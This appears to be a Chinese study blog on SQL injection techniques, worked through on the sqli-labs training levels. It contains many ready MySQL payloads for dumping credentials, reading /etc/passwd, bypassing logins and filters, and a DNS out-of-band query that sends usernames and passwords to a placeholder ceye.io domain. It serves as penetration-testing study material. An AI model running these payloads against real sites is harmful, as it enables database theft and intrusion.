返回
Featured image of post SQL 注入相关

SQL 注入相关

go!

SQL注入相关(配合sqli-labs)

基础总结+sqli-lab,lab过程偏向白盒,省略黑盒探测过程

数据库相关

分类

  • 关系型数据库

表格存储,表和表间关系构成数据库,例如MySQL、SQLServer。

  • 非关系型数据库

有Key-Value存储数据库、列存储数据库、文档型数据库、图形存储数据库。

例如:

键值数据库:Redis、Memcached

文档数据库:MongoDB

图形数据库:Neo4j

基础操作

# 查看数据库
show databases;

# 使用数据库
use mysql;

# 查看当前数据库
select database();

# 查看数据表
show tables;

# 查看数据库版本
select version();

# 查看当前数据库用户
select user();

# 查看数据库路径
select @@datadir;

# 查看安装路径
select @@basedir;

# 查看系统类型
select @@version_compile_os;

MySQL元数据-information_schema

该数据库存储MySQL 服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表的数据类型与访问权限等。

该库中有以下三个表:

  • SCHEMATA

提供当前 MySQL 实例中所有数据库的信息。show databases; 的结果就是取之此表。

  • TABLES

提供数据库中所有表的信息(包括视图)。

  • COLUMNS

提供表中所有列信息。

查询数据表:

select table_name from information_schema.tables where table_schema='test';

查询数据列:

select column_name from information_schema.columns where table_name='table1';

SQL注入相关判断

种类

布尔型注入

联合查询注入

报错型注入

时间型注入

堆叠注入

判断注入类型

在进行手工注入前需要判断当前位置是字符型还是数字型。

  • 数字型

一般可通过and 1=1and 1=2判断。

使用运算符判断:

通过加、减、乘、除等运算,判断输入参数附近有没有引号包裹。

  • 字符型

一般可通过and '1'='1and '1'='2判断。

使用类型转换特性判断:

在MySQL中当数字与字符进行比较时,字符会被转为数字进行比较。

例如:

字符串1和数字1相等;字符串1a和数字1相等;字符串b和数字0相等。

  • 综上

可根据上述方法做一个基本的判断,例如?id=2-1,返回为空,表明不是数字型可能是字符型;访问?id=1a,成功回显,表明是字符型。

判断数据库

基于报错判断

  • MySQL

you have an error in your SQL syntax,check the manual that corrsponds to your mysql server version for the tifht syntax to use near…

  • Access

Microsoft JET Database…

  • MSSQL

Microsoft ODBC Database…

基于数据库标志

  • MSSQL
select @@version;
  • Oracle
select banner from v$version;
  • MySQL
select @@version,version(),length(user)>0;
  • PostgreSQL
select version();

基于数据库名

  • MySQL:information_schema
  • Access:mysysobjects
  • Oracle:sys.user_tables
  • MSSQL:sysobjects

基于数据库特有函数

  • MSSQL:@@pack_received、@@rowcount

  • MySQL:connection_id()、last_insert_id()、row_count()

  • Oracle:bitand(1,1)

  • PostgreSQL: select extract(doy from now())

  • MSSQL和MySQL中都可用substring,而Oracle中只能调用substr

基于字符串处理方式

MSSQL:'a'+'b'='ab'

MySQL:'a'+'b'='ab'、'ab'=concat('a','b')

Oracle:'a'+'b'='a'||'b'、'ab'=concat('a','b')

PostgreSQL:'ab'=concat('a','b')

基于特殊符号及注释

  • Access:null、%00
  • MySQL:#、--、/**/
  • Oracle:-- 、/**/
  • MSSQL:-- 、/**/
  • Oracle中不支持多行查询,当存在;子句查询符会报错

UNION注入

原理

union用于将两个或多个select查询语句结果集合并

注意点:

使用union,select语句必须是相同数量的列

常见用法

-1'+UNION+SELECT+1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

// 库名
union select 1,group_concat(schema_name),3 from information_schema.schemata

union select 1,(select schema_name from information_schema.schemata limit 0,1),3

// 表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

// 列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

// 数据
union select 1,group_concat(id,email_id),3 from security.emails

// ???待。。。
?id=-1' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3

**GROUP_CONCAT **

GROUP_CONCAT(expr) ——从 expr 中连接所有非 NULL 的字符串。如果没有非 NULL 的字符串,那么它就会返回 NULL

系统变量group_concat_max_len控制允许返回的最大字节长度,默认值为1M(>= MariaDB 10.2.4)或1K(<= MariaDB 10.2.3)

GROUP_CONCAT([DISTINCT] expr [,expr ...]
             [ORDER BY {unsigned_integer | col_name | expr}
                 [ASC | DESC] [,col_name ...]]
             [SEPARATOR str_val])
             
SEPARATOR指定串联各值时使用的分隔符。默认分隔符为逗号(,)

CONCAT

将多个字符串连接为一个字符串,如果当中有一个NULL,返回结果即为NULL

显错注入

主要分类

  • BigInt 等数据类型溢出
  • Xpath 语法错误
  • count() + rand() + group by 导致主键重复
  • 空间数据类型函数错误

updatexml 和 extractvalue

MySQL版本>5.1添加了对XML文档修改和查询的函数updatexml 和 extractvalue,二者报错原理类似

updatexml() (返回替换的XML片段) 和 extractvalue()(使用XPath表示法从XML字符串中提取值)第二个参数需要传入的是 Xpath 格式的字符串。输入不符合,将参数值返回并报错。

报错长度最大为 32 位

常见用法

// 显示当前数据库
updatexml(1,CONCAT(0x7e, database()),1)

// 显示所有数据库
updatexml(1,CONCAT(0x7e,(select schema_name FROM INFORMATION_SCHEMA.SCHEMATA limit x,1), 0x7e),1)

// 获取表名
updatexml(1,CONCAT(0x7e,(select table_name from information_schema.tables where table_schema="sectest" limit x,1), 0x7e),1)

updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

// 获取列名
updatexml(1,CONCAT(0x7e,(select column_name from information_schema.COLUMNS where table_name="wp_user_" limit 1,1), 0x7e),1)

updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)

// 获取数据
updatexml(1,CONCAT(0x7e,(select username from wp_user_ limit 0,1), 0x7e),1)

updatexml(1,CONCAT(0x7e,(select password from wp_user_ where username="admin" limit 0,1), 0x7e),1)

updatexml(1,CONCAT(0x7e,(select GROUP_CONCAT(username, 0x3a, password) from wp_user_ where id=1), 0x7e),1)

updatexml(1,make_set(3,'~',(select data from users)),1)#

三要素显错注入

三要素原理分析

  • floor(x) 返回<=x的最大整数
  • rand(0) 在给了随机种子0之后,将产生固定伪随机序列
  • floor(rand(0)*2) 最终产生的可预测伪随机序列是'011011…'
  • 使用count(*) 和 group by统计数据,就是建立虚拟表,对每条记录计算统计键,无则插入,有则+1
  • 当以foor(rand(0*2))为键使用group by 分组统计时:针对查询表第一条记录,插入前第1次计算值为0,查无此键,进行插入时第2次计算值为1,查无此键,插入即可,实际插入虚拟表的第一条记录键为1;针对查询表第二条记录,插入前第3次计算值为1,查有此键,则直接将count+1,不再进行插入时的计算;针对第三条记录,插入前第4次计算值为0,查无此键,进行插入时第5次计算值为1,查有此键,虚拟表主键唯一,无法插入报错!!!

核心其实就是固定的伪随机序列和多次计算

三要素(count、rand、group by)再加一个要素就是原始查询表记录至少为3条

注意点

在查询结果上再执行查询时,必须给定一个别名

limit 0,1 -> offset + 偏移量 表示最后返回的记录条数

https://blog.csdn.net/weixin_43803070/article/details/96448914

常见用法

1' and (select 1 from (select count(*), concat(user(), floor(rand(0)*2))x from information_schema.tables group by x)a)

1' and (select 1 from (select count(*),concat((select concat(username,',',password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

注意点:上述两个payload注出来的数据后跟着一个数字`1`,因为concat了一个`floor(rand(0)*2)`

其他特性利用

列名重复

原理

NAME_CONST可以制造一个列,利用列名重复报错

注意点

常根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没有比较好的利用方式。但利用这个特性加上join函数可以爆列名

常见用法

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'

//配合join获取列名
select *  from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
select *  from(select * from test a join test b using(id))c; //using(id) 等同于配合join使用的on
ERROR 1060 (42S21): Duplicate column name 'name' //两个test表必然每个列都重复using了id列之后,就会继续报出第二列错
select *  from(select * from test a join test b using(idname))c; //报第三列列名

几何函数

原理

mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错

????报错原理有待考究

注意点

在版本号为5.5.47上可以用来注入,而在5.7.17上则不行

常见用法

5.5.47 //可行
1' and (select multipoint((select * from (select * from (select version())a)b)))
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing

5.7.17 //失效
1' and (select multipoint((select * from (select * from (select version())a)b)))
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing

exp()等函数

原理

MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。这个范围的极限是 709,当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误;

当用 ~ 运算符按位取反的方式得到一个最大值,该运算符可以处理一个字符串,经过其处理的字符串会变成一个很大整数其足以超过 MySQL 的 Double 数组范围,从而报错输出

注意点

使用版本:MySQL5.5.5 及以上版本

常见用法

1' and (select exp(~(select * from(select version())x)))
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'

1' and (select exp(~(select * from(select user())x)))
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

1' and (select exp(~(select * from(select database())x)))
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'ctf' from dual)))'

//读取文件(13行限制)
1' and (select exp(~(select * from(select load_file('/etc/passwd'))x)))

//dump当前上下文中所有的tables和columns   注意:因为是当前上下文,所以单引号前条件得存在,正确
1' and (select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)))

CTF demo

https://whoamianony.top/2021/05/01/CTF%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%20MySQL%20exp()%20%E5%87%BD%E6%95%B0%E8%BF%9B%E8%A1%8C%20Sql%20%E6%B3%A8%E5%85%A5/

注意点

需要嵌套才能报错回显的原因(个人理解):

mysql报错回显(几何函数、exp()等函数)一般报错返回的是列名相关,不嵌套就正常返回列名,比如

select version(); //其返回结果集的列名即为version()

而在报错回显机制种,一旦嵌套就会详细返回列名中包含的执行语句(MySQL本身报错机制???),比如

select exp(~(select * from(select version())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'   //"select '5.5.29' from dual"即为列名

bool盲注 & 时间型盲注

盲注用在不知道数据库返回值的情况下对数据内容进行猜测

盲注适用场景:无法直接回显获取执行结果,只能根据返回状态判断

bool型:返回 True 和 False 两种状态页面,根据页面返回不同,猜解数据

时间型:通过注入能够造成延时的特定语句,根据页面的物理反馈,来判断是否注入成功,如:在 SQL 语句中使用 sleep() 函数看加载网页的时间来判断注入点

常用函数

编码转换函数

ord()、ascii() :将字符转为ascii码

char():将ascii码转为字符

条件判断函数

if(exp1, exp2, exp3)

select case when username=“admin” then sleep(1) else “error” end from user

截取函数

substr()

ubstr(str, pos, len) //从 pos 位置开始,截取字符串 str 的 len 长度
substr(str from pos for length) //可以用在过滤了,的情况

substring()

substring(str, pos, len) //从 pos 位置开始,截取字符串 str 的 len 长度
substring(str from pos for length) 

mid()

mid(str, pos, length)
mid(str from pos for length)

注意点

以上含pos参数的函数中,pos从1开始

left() & right()

left(str, len) 
right(str, len)

正则表达式

select * from user where password rlike "^1"
select * from user where password REGEXP "^1"
select * from user where password REGEXP "^12"

延时函数

sleep(n) //挂起n秒

benchmark(count, sha(1)) //实行sha(1)函数count次数,从而延时

SELECT count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C; //笛卡尔积造成延时

select * from users where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) //用正则表达式匹配长字符制造延时

rpad(string, length, rpad_string) //rpad()函数将一个字符串string用另一个字符串rpad_string在右侧填充到一定长度length

其他函数

count()
length()

sqlmap检测各类注入

//union注入
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

//显错注入
--technique=E

//bool盲注
--technique=B

//时间型盲注
--technique=T

OOB注入

类别 注入类型 说明
带内 报错、union 直接回显数据
间接推断 bool、时间盲注 非直接回显,根据状态间接判断
带外 OOB 通过其他信道获取数据

Out Of Band

带外通道技术(OOB)让攻击者能够利用其他信道获取非直接回显的漏洞。

带外通道技术通常需要让目标来生成TCP/UDP/ICMP 请求并带有敏感数据,攻击者可以通过这接收和处理这个请求来提取想要的数据。

前提:

  • 防火墙允许出站

示意图:

OOB注入利用原理

Windows中的UNC路径

比如Windows中访问共享文件时就会用到如下网络地址,这就是UNC路径:

\\192.168.33.33\haha\

要想带出数据还是要靠DNSLog。

load_file函数是用来读取文件内容,读取成功会返回文件内容的字符串,失败返回null。

利用方法:

select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.xxx.ceye.io\\aa'))

# 通过concat函数将查询结果与域名拼接形成UNC路径,调用load_file函数对UNC路径发起请求,因此成功发起DNS请求将数据外带

load_file函数使用注意

该函数使用受 secure_file_priv 的限制,如果secure_file_priv 值为null或其他特定目录,则无法构造任意UNC路径进行利用

大文本传输技巧

域名长度限制:

  • 域名由标签组成,以 . 分割,标签的长度不可以超过 63 个字符
  • 整个域名不可以超过 253 个字符,包括 .

绕过限制思路:

  1. load_file读取内容
  2. substr对文本内容切片
  3. to_base64对切片后的内容编码
select concat(to_base64(substr(load_file("xxx"),1,10)), ".xxx.ceye.io\\a") as result

Oracle数据库利用OOB的技巧

Oracle 数据库中存在发起 HTTP 请求的函数 UTL_HTTP.request,它的返回类型是长度为 2000 或更短的字符串。

UTL_HTTP.request(url, proxy)

通过注入执行下列SQL语句:

select UTL_HTTP.request('http://ip/xxx.php'||'?id='||(select version from v$instance)) from dual;

在xxx.php中接收id参数。

SQL注入——命令执行

  • dumpfile函数写shell
  • udf执行命令
  • sqlmap –os-shell(本质还是webshell)

sqli-lab

Less-1

拼接点 可用注入类型
SELECT * FROM users WHERE id='$id' LIMIT 0,1 UNION、显错、bool盲、延时盲

Less-2

拼接点 可用注入类型
SELECT * FROM users WHERE id=$id LIMIT 0,1 UNION、显错、bool盲、延时盲

与Less-1利用方式一致,闭合时候不同

Less-3

拼接点 可用注入类型
SELECT * FROM users WHERE id=('$id') LIMIT 0,1 UNION、显错、bool盲、延时盲

与Less-1利用方式一致,闭合时候不同

Less-4

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
拼接点 可用注入类型
双引号+单括号 UNION、显错、bool盲、延时盲

Less-5

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
	打印 'You are in ...';
else:
	print_r(mysql_error());
拼接点 可用注入类型
单引号 显错、bool盲、延时盲

缺少回显机制,但可以依靠盲注和显错

Less-6

拼接点 可用注入类型
双引号 显错、bool盲、延时盲

缺少回显机制,可以依靠盲注和显错

Less-7

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
if true:
	打印 'You are in.... Use outfile......';
else:
	//print_r(mysql_error());
拼接点 可用注入类型
单引号+双括号 显错、bool盲、延时盲

缺少回显机制和报错机制,只能依靠盲注

into outfile

写敏感信息

前提是要知道网站根目录路径,确保写入后可以访问到

一开始是写不进去,因为网站用户对根目录下没有写权限,尝试更改权限后成功写入

写shell

Less-8

拼接点 可用注入类型
单引号 bool盲、延时盲

同Less-7

Less-9

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
	打印 'You are in....';
else:
	打印 'You are in....';
拼接点 可用注入类型
单引号 延时盲

无论true或false,全都打印同一字符串,无法bool盲注,只能延时盲注

Less-10

拼接点 可用注入类型
双引号 延时盲

同Less-9

Less-11

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

if true:
	打印结果
else:
	print_r(mysql_error());
拼接点 可用注入类型
POST-单引号 UNION、显错、bool盲、延时盲

万能密码

uname=admin'--+&passwd=
uname=admin'#&passwd=

uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit

uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit

注意

POST注入最好走bp

Less-12

拼接点 可用注入类型
POST-双引号+单括号 UNION、显错、bool盲、延时盲

与Less-11一致

Less-13

拼接点 可用注入类型
POST-单引号+单括号 显错、bool盲、延时盲

不回显查询结果,除了union其他都可

Less-14

拼接点 可用注入类型
POST-双引号 显错、bool盲、延时盲

不回显查询结果,除了union其他都可

Less-15

拼接点 可用注入类型
POST-单引号 bool盲、延时盲

不回显查询结果,不报错

Less-16

拼接点 可用注入类型
POST-双引号+单括号 bool盲、延时盲

不回显查询结果,不报错

Less-17

$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

if select 语句有结果:
	$update="UPDATE users SET password = '$passwd' WHERE username='$uname'";
	if mysql报错:
		 print_r(mysql_error());
拼接点 可用注入类型
POST-单括号 显错、bool盲、延时盲

uname参数被过滤,只能考虑给一个正确的uname值进入分支,对update语句进行注入

无数据回显

Less-18

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

if select 语句有结果:
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
	输出 $uagent;
	print_r(mysql_error());
else:
	print_r(mysql_error());
拼接点 可用注入类型
POST-单括号 显错、bool盲、延时盲

该注入类型为insert注入,首先需要给一个正确的用户名、密码进入分析,对insert语句进行注入

insert注入必须要闭合后面语句

如下:

' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1
' and updatexml(1,concat(0x7e,(select user()),0x7e),1),"1","1")--+

Less-19

拼接点 可用注入类型
POST-单括号 显错、bool盲、延时盲

类似18,注入点在referer头

Less-20

if cookie中没有uname参数:
	输出登录信息;
	if 提交uname和passwd:
		$uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);
        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $cookee = $row1['username'];
        if 有返回结果:
        	setcookie('uname', $cookee, time()+3600);
        else:
        	print_r(mysql_error());
else:
	if 没有提交submit参数:
		$cookee = $_COOKIE['uname'];
		$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
		if 没有返回结果:
			输出 mysql_error();
		if 有返回结果:
			回显查询结果;
	else:
		setcookie('uname', $row1['username'], time()-3600); //通过把失效日期设置为过去的日期/时间,删除一个 cookie
拼接点 可用注入类型
POST-单括号 UNION、显错、bool盲、延时盲

cookie中uname参数没有过滤,有数据回显、有报错

sqlmap 带cookie注入用法

//UINION  其中 “-p 参数” 表示要测试的参数,这时--level失效;也可以使用'*'去标记参数
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin" -p "cookie" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

Less-21

代码逻辑和Less-20类似,只不过获取set cookie时用了base64编码,获取cookie值时再解码拼入sql语句

拼接点 可用注入类型
POST-单括号+单括号 UNION、显错、bool盲、延时盲

Less-22

类似Less-21

拼接点 可用注入类型
POST-双引号 UNION、显错、bool盲、延时盲

Less-23

$id=$_GET['id'];

//过滤了注释符
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
拼接点 可用注入类型
单引号 UNION、显错、bool盲、延时盲

过滤注释后,就需要闭合原始sql语句

注意

UNION 注入使用from,在闭合原始语句时候需要引入where保证sql语句语法正确,例如:

-1' union select 1,group_concat(username,':',password),3 from security.users where 1 and ‘1’ = ‘1

Less-24(二次注入)

login_create.php

$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

$sql = "select count(*) from users where username='$username'";
if 查询结果不为0:
	表明有用户存在,不可注册;
else:
	if 两次输入密码一致:
		$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
		重定向到登录页面;
	else:
		提示输入不一致;

login.php

 $username = mysql_real_escape_string($_POST["login_user"]);
 $password = mysql_real_escape_string($_POST["login_password"]);
 $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
 if 查询有结果:
 	$_SESSION["username"] = 结果中的username值; //在session中设置username参数
 	重定向到已登录界面;

pass_change.php

if 未登录:
	重定向到首页;

$username= $_SESSION["username"]; //从session中取出useranme值
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if 两次密码输入一致:
	$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
	if 执行成功:
		输出成功更新密码;
	else:
		重定向到错误页面;

分析

可看到基本上可进行直接注入的常规点都被转义过滤了,但是登录成功后,会从数据库中查询useranme值放入session;随后在pass_change页面更新密码语句存在注入点,且数据来源于从session取出来的值,也就是未过滤的值,因此存在二次注入

利用

注册用户名为 admin’#

登录之后随意填入当前密码,再填入修改后的密码,提交即可任意修改admin用户密码

Less-25

$id= preg_replace('/or/i',"", $id);    
$id= preg_replace('/AND/i',"", $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
拼接点 可用注入类型
单引号 UNION、显错、bool盲、延时盲

绕过

双写

or -> ||

and -> &&(get型中要url编码,否则歧义)

Less-25a

拼接点 可用注入类型
直接拼 UNION、bool盲、延时盲

与Less-25一致,拼接方式不同,不能报错

Less-26

$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --
$id= preg_replace('/[#]/',"", $id);			//Strip out #
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id);    //Strip out slashes
拼接点 可用注入类型
单引号 UNION、显错、bool盲、延时盲

绕过

针对空白符,可用如下方式替换绕过,本次使用/\s/匹配,所以用%0b和%a0才可绕过

符号 说明
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

Less-26a

拼接点 可用注入类型
单引号+单括号 UNION、bool盲、延时盲

与Less-26一致,拼接方式不同,不能报错

Less-27

$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
拼接点 可用注入类型
单引号 UNION、显错、bool盲、延时盲

绕过

本次只是简单过滤了空格,而不是空白符,所以%0a即可绕过空格限制

unioN

unIon

seLEct

等等

Less-27a

拼接点 可用注入类型
双引号 UNION、bool盲、延时盲

与Less-27一致,没有显错

Less-28

$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
拼接点 可用注入类型
单引号+单括号 UNION、bool盲、延时盲

过滤了union空白符select,可双写绕过,可替换空白符为%0b或%a0绕过

Less-28a

拼接点 可用注入类型
单引号+单括号 UNION、bool盲、延时盲

少了几个过滤规则,其余和Less-28一致

Less-29

index.php // 可以不用管,作者误放了应该

普通可注入页面

login.php

$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);
$id=$_GET['id'];
whitelist($id1);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function whitelist($input)
{
	# 匹配数字
	$match = preg_match("/^\d+$/", $input); 
	if 不是数字:
		重定向到失败页面;
}



# HTTP 参数污染
function java_implimentation($query_string)
{
	$q_s = $query_string;
	
	# 以'&'为分隔符分割字符串
	$qs_array= explode("&",$q_s);

	# 遍历分割好的参数数组
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		# 如果前两位是id
		if($val=="id")
		{
        	# 从第3位开始,返回长度为30的字符穿
			$id_value=substr($value,3,30); 
			return $id_value;
			break;
		}

	}

}
拼接点 可用注入类型
单引号 UNION、显错、bool盲、延时盲

分析

流程:服务端获取到查询字符串id=1&...,随后截取参数id的值用于白名单过滤,如果匹配数字则继续执行,否则重定向到失败页面

但是问题出在以下:

  • 用于sql查询的id值是通过GET方式获取的,该服务端默认认为从GET方式获取的id值与用于解析白名单过滤的id值是同一个
  • 对于xxx.php?id=1&id=2这样的同名参数污染,apache PHP会解析获取最后一个参数值,即为2;tomcat JSP会解析获取到第一个参数值,即为1

因此,利用方式如下:?id=1&id=-1’ union…..

Less-30

拼接点 可用注入类型
双引号 UNION、显错、bool盲、延时盲

与Less-29一致

Less-31

拼接点 可用注入类型
双引号+单括号 UNION、显错、bool盲、延时盲

与Less-29一致

Less-32

function check_addslashes($string)
{
	# 转义\
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
    # 转义单引号
    $string = preg_replace('/\'/i', '\\\'', $string);   
    # 转义双引号
    $string = preg_replace('/\"/', "\\\"", $string);                               
      
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
拼接点 可用注入类型
单引号 UNION、显错、bool盲、延时盲

绕过

使用 GBK 编码MySQL会认为两个字节为一个汉字,例如 %aa%5e 即为一个 汉字

由于转义是在敏感字符前加\\'即%5c%27,那可以在\'前加上%df,转义后结果为:%df\\\',这样MySQL使用GBK会认为%df%5c为一个汉字,即为汉字\\',则汉字后的两个反斜杠实际在送往sql语句时表示的仅仅只是一个单纯的反斜杠,不再具有转义作用,此时单引号便起到了闭合作用

Less-33

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

转义方法与Less-32类似

拼接点 可用注入类型
单引号 UNION、显错、bool盲、延时盲

绕过方式与Less-32一致

补充

gbk编码造成的宽字符注入问题,解决方法是设置character_set_client=binary

原理

MySQL编码机制

mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);

character_set_client:用户告诉MySQL查询是用的什么字符集。 character_set_connection:MySQL接收到用户查询后,按照character_set_client将其转化为character_set_connection设定的字符集 character_set_results:MySQL将存储的数据转换成character_set_results所设定的字符集发送给用户

完整可理解为:MySQL接受到客户端的数据后,会认为他的编码是character_set_client,然后会将换成character_set_connection的编码,然后在进入具体表和字段后,再转换成字段对应的编码,当查询结果产生后,会从表和字段编码转换成character_set_results编码,返回给客户端

Less-34

拼接点 可用注入类型
POST-单引号 UNION、显错、bool盲、延时盲

与Less-33类似

Less-35

$id=check_addslashes($_GET['id']);

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
拼接点 可用注入类型
直接拼接 UNION、显错、bool盲、延时盲

虽然有转义过滤,但是sql语句是直接拼接,所以不需要引号闭合等

Less-36

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}
拼接点 可用注入类型
单引号 UNION、显错、bool盲、延时盲

与Less-33的过滤方式类似,绕过方法类似

Less-37

拼接点 可用注入类型
POST-单引号 UNION、显错、bool盲、延时盲

与Less-36类似

Less-38(堆叠注入)

堆叠

多条语句一起执行

原理

MySQL 中,主要是命令行中,每条语句结尾加 ; 表示语句结束。这样可以考虑闭合已有语句,从而执行多条 SQL 语句

注意

UNION 执行的语句类型是有限的—查询语句;而堆叠注入可以执行任意语句

并不是每一个环境下都可以执行堆叠,很可能受 API 、数据库引擎不支持、权限不足的限制

在真实环境中通常只返回一个查询结果,因此,堆叠注入第二个语句可能产生错误或者结果被忽略,即在前端界面是无法看到返回结果的;在使用堆叠注入之前需要知道一些数据库相关信息的,例如表名,列名等信息

if (mysqli_multi_query($con1, $sql)) // 执行多个查询有结果
{
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
